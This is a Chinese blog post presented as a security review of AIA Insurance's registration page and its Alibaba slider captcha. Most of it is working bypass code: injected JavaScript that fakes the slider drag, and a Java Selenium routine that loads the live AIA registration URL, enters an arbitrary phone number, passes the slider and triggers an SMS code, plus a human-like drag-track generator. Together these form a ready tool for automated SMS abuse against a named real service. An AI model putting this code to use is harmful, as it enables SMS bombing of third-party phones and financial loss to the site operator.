前言
由于網站注冊入口容易被黑客攻擊,存在如下安全問題:
- 暴力破解密碼,造成用戶信息泄露
- 短信盜刷的安全問題,影響業務及導致用戶投訴
- 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析
一、 友邦保險PC 注冊入口
簡介:友邦保險控股有限公司及其附屬公司(統稱“友邦保險”或“本集團”)是在香港聯合交易所上市的人壽保險集團,覆蓋亞太區內18個市場, 包括在中國內地、中國香港特別行政區、泰國、新加坡、馬來西亞、澳洲、柬埔寨、印度尼西亞、緬甸、菲律賓、韓國、斯里蘭卡、中國臺灣、越南、文萊、中華人民共和國澳門特別行政區和新西蘭擁有全資的分公司及附屬公司,以及印度合資公司的49%權益。此外,友邦保險持有中郵人壽保險股份有限公司24.99%股權。
二、 安全性分析報告:
友邦保險采用的是阿里的滑動條,
阿里的滑動條設計高度重視用戶體驗,但安全方面存在一定的設計缺陷,前端將密鑰顯示出來,造成一定程度的安全漏洞,上報后并未引起重視,漏洞依據存在。
三、 測試方法:
前端界面分析,這是阿里的滑動條,網上有一些的教學視頻,但形式都差不多,
阿里的滑動條有點像程咬金的三板斧,
1 檢測是否是 webdriver (有專門的文章怎么過檢)
2 滑動條檢測
滑動條在頁面嵌JS 就能過去
<script>(function () {'use strict';/*** 休眠* [url=home.php?mod=space&uid=952169]@Param[/url] time 休眠時間,單位秒* @param desc* @returns {Promise<unknown>}*/function sleep(time, desc) {return new Promise(resolve => {//sleepsetTimeout(() => {console.log(desc, time, 's')resolve(time)}, Math.floor(time * 1000))})}/*** 監測節點是否存在* @param selector CSS選擇器* @param desc* @returns {Promise<unknown>}*/function obsHas(selector, desc) {return new Promise(resolve => {//obs nodelet timer = setInterval(() => {let target = document.querySelector(selector)if (!!target) {clearInterval(timer)console.log(desc, selector)resolve(selector)} else {return}}, 100)})}function slide(id) {var slider = document.getElementById(id),container = slider.parentNode;var rect = slider.getBoundingClientRect(),x0 = rect.x || rect.left,y0 = rect.y || rect.top,w = container.getBoundingClientRect().width,x1 = x0 + w,y1 = y0;var mousedown = document.createEvent("MouseEvents");mousedown.initMouseEvent("mousedown", true, true, window, 0,x0, y0, x0, y0, false, false, false, false, 0, null);slider.dispatchEvent(mousedown);var mousemove = document.createEvent("MouseEvents");mousemove.initMouseEvent("mousemove", true, true, window, 0,x1, y1, x1, y1, false, false, false, false, 0, null);slider.dispatchEvent(mousemove);}sleep(1,'sleep').then(() => obsHas('.nc_wrapper','has')).then(() => slide('nc_1_n1z'))
})();</script>
1. 模擬器交互
private final String INDEX_URL = "https://e.aia.com.cn/estore/jsp/index.jsp#";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);driver.manage().window().maximize(); // 設置瀏覽器窗口最大化Thread.sleep(1 * 1000);// 點擊注冊By logBy = By.className("register");WebElement logElemet = ChromeDriverManager.waitElement(driver, logBy, 10);logElemet.click();Thread.sleep(3 * 1000);// 輸入手機號By phoneBy = By.xpath("//input[@class='cls_input aia_input telephone']");WebElement phoneElemet = driver.findElement(phoneBy);phoneElemet.sendKeys(phone);boolean aliRet = AliClient.moveExec(driver, 260);if (!aliRet) {return retEntity;}WebElement sendElement = driver.findElement(By.id("register_countdowntime"));sendElement.click();Thread.sleep(1 * 1000);String msg = sendElement.getText();retEntity.setMsg(msg);if (msg != null && msg.contains("重新發送")) {retEntity.setRet(0);} else {System.out.println("msg=" + msg);}return retEntity;} catch (Exception e) {retEntity.setRet(-1);retEntity.setMsg(e.toString());return retEntity;}}
2. 模擬鼠標移動
public static boolean moveExec(WebDriver driver, String moveId, int distance) {try {// 獲取滑動按鈕WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);Actions actions = new Actions(driver);actions.moveToElement(moveElemet).perform();Thread.sleep(500);List<Integer> trackList = ActionMove.getTrack(distance);actions.clickAndHold(moveElemet).perform();// 按住鼠標左鍵不釋放for (Integer moveInt : trackList) {actions.moveByOffset(moveInt, 0).perform();// 移動}actions.release(moveElemet).perform();// 釋放鼠標左鍵// 滑動結果By langCntBy = By.className("nc-lang-cnt");WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;if (langCntInfo != null && langCntInfo.contains("驗證通過")) {return true;} else {System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);return false;}} catch (Exception e) {System.out.println("AliClient.moveExec() e=" + e.toString());return false;}}
3. 軌跡生成(單軸通過)
/*** 根據距離獲取滑動軌跡* * @param distance需要移動的距離* @return*/public static List<Integer> getTrack(int distance) {List<Integer> track = new ArrayList<Integer>();// 移動軌跡List<Integer[]> list = getXyTrack(distance);for (Integer[] m : list) {track.add(m[0]);}return track;}/*** 雙軸軌道生成算法,主要實現平滑加速和減速* * @param distance* @return*/public static List<Integer[]> getXyTrack(int distance) {List<Integer[]> track = new ArrayList<Integer[]>();// 移動軌跡try {int a = (int) (distance / 3.0) + random.nextInt(10);int h = 0, current = 0;// 已經移動的距離BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 減速閾值BigDecimal move = null;// 每次循環移動的距離List<Integer[]> subList = new ArrayList<Integer[]>();// 移動軌跡boolean plus = true;Double t = 0.18, v = 0.00, v0;while (current <= distance) {h = random.nextInt(2);if (current > distance / 2) {h = h * -1;}v0 = v;v = v0 + a * t;move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速if (move.intValue() < 1)move = new BigDecimal(1L);if (plus) {track.add(new Integer[] { move.intValue(), h });} else {subList.add(0, new Integer[] { move.intValue(), h });}current += move.intValue();if (plus && current >= mid.intValue()) {plus = false;move = new BigDecimal(0L);v = 0.00;}}track.addAll(subList);int bk = current - distance;if (bk > 0) {for (int i = 0; i < bk; i++) {track.add(new Integer[] { -1, h });}}System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());return track;} catch (Exception e) {System.out.print(e.toString());return null;}}
4. 測試返回結果:
四丶結語
友邦保險作為全球性的國際化保險機構,可謂是實力雄厚,但在驗證產品方面,不是自己研發而是采用第三方的阿里的滑動條, 阿里的產品由于過度重視用戶體驗, 簡單的滑動條特別,模擬器只需要單軸的模擬軌道就可以通過, 說明阿里對軌跡的校驗比較寬松,之前的分析顯示,阿里主要是靠模擬器識別,如果這道關過了,就沒有其它的防護措施了 。
很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。
所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#
戳這里→康康你手機號在過多少網站注冊過!!!
谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?
>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》